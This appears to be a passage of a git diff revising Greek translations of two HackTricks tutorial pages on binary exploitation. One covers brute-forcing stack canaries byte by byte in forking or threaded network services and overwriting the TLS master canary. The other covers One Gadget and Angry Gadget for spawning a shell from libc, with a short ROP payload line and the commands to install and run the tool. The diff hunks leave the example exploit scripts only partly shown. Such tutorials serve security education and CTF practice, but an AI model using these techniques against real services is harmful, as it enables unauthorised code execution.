* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -6,32 +6,32 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε έναν τρόπο να τα παρακάμψετε.**
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεται να βρείτε έναν τρόπο να τα παρακάμψετε.**
![](<../../../.gitbook/assets/image (862).png>)
{% hint style="info" %}
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary εάν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό εάν διαπιστώσετε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
{% endhint %}
## Βίαιη δύναμη Canary
Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι εάν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι αν το δυαδικό είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε εάν ο μαντεμένος χαρακτήρας του canary ήταν σωστός ελέγχοντας εάν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού μαντεμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς **ελέγχοντας** αν έχει σταλεί μια **απάντηση** από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν ο υπολογισμένος χαρακτήρας canary ήταν σωστός ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστού υπολογισμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς **ελέγχοντας** αν ένας **αποκρίνεται** επιστρέφεται από τον εξυπηρετητή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
### Παράδειγμα 1
Αυτό το παράδειγμα υλοποιείται για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί και για 32 bit.
Αυτό το παράδειγμα είναι υλοποιημένο για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί για 32 bit.
```python
from pwn import *
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Παράδειγμα 2
Αυτό υλοποιείται για 32 bits, αλλά μπορεί εύκολα να αλλάξει σε 64 bits.\
Επίσης, σημειώστε ότι για αυτό το παράδειγμα το **πρόγραμμα περιμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και την φορτίωση.
Επίσης, να σημειωθεί ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και τη φορτίο.
```python
from pwn import *
@ -116,12 +116,15 @@ log.info(f"The canary is: {canary}")
```
## Νήματα
Τα νήματα του ίδιου διεργασίας θα **μοιραστούν το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να γίνει **brute-force** ενός canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.
Τα νήματα της ίδιας διεργασίας θα **μοιράζονται το ίδιο διακριτικό canary**, επομένως θα είναι δυνατό να **δοκιμαστεί βίαια** ένα canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.&#x20;
Επιπλέον, ένα **υπερχείλιση buffer σε μια συνάρτηση με νήματα** που προστατεύεται με canary μπορεί να χρησιμοποιηθεί για να **τροποποιήσει τον κύριο canary του νήματος**. Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι ίδιοι (αν και τροποποιημένοι).\
Επιπλέον, μια **υπερχείλιση buffer σε μια συνάρτηση με νήματα** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει τον κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή είναι πιθανό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και, συνεπώς, το canary) μέσω μιας **υπερχείλισης buffer στη στοίβα** ενός νήματος.\
Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
Αυτή η επίθεση πραγματοποιείται στο writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Ελέγξτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) η οποία αναφέρει ότι συνήθως το **TLS** αποθηκεύεται από το **`mmap`** και όταν δημιουργείται μια **στοίβα** ενός **νήματος** δημιουργείται επίσης από το `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέψει την υπερχείλιση όπως φαίνεται στο προηγούμενο writeup.
## Άλλα παραδείγματα & αναφορές
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, χωρίς PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
* 64 bits, no PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.

View file

@ -2,37 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
## Βασικές Πληροφορίες
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί για τη χρήση της **system** και του **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε περισσότερες τιμές NULL ώστε ο περιορισμός να αποφευχθεί.
![](<../../../.gitbook/assets/image (751).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Για να βρείτε τη διεύθυνση που υποδεικνύει το One Gadget, πρέπει **να προσθέσετε τη βασική διεύθυνση όπου φορτώνεται η `libc`**.
{% hint style="success" %}
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
{% endhint %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -40,6 +10,43 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
## Βασικές Πληροφορίες
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί για τη χρήση του **system** και του **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε κάποιες επιπλέον τιμές NULL ώστε να αποφευχθεί ο περιορισμός.
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Για να βρείτε τη διεύθυνση που υποδεικνύει το One Gadget, πρέπει **να προσθέσετε τη βασική διεύθυνση όπου φορτώνεται η `libc`**.
{% hint style="success" %}
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί **να απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
{% endhint %}
## Angry Gadget
Από το [**αποθετήριο github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Εμπνευσμένο από το [OneGadget](https://github.com/david942j/one\_gadget) αυτό το εργαλείο είναι γραμμένο σε python και χρησιμοποιεί το [angr](https://github.com/angr/angr) για να ελέγξει τους περιορισμούς για gadgets που εκτελούν `execve('/bin/sh', NULL, NULL)`\
Αν έχετε εξαντλήσει τα gadgets που μπορείτε να δοκιμάσετε από το OneGadget, το Angry Gadget προσφέρει πολλά περισσότερα με πιο περίπλοκους περιορισμούς για δοκιμή!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>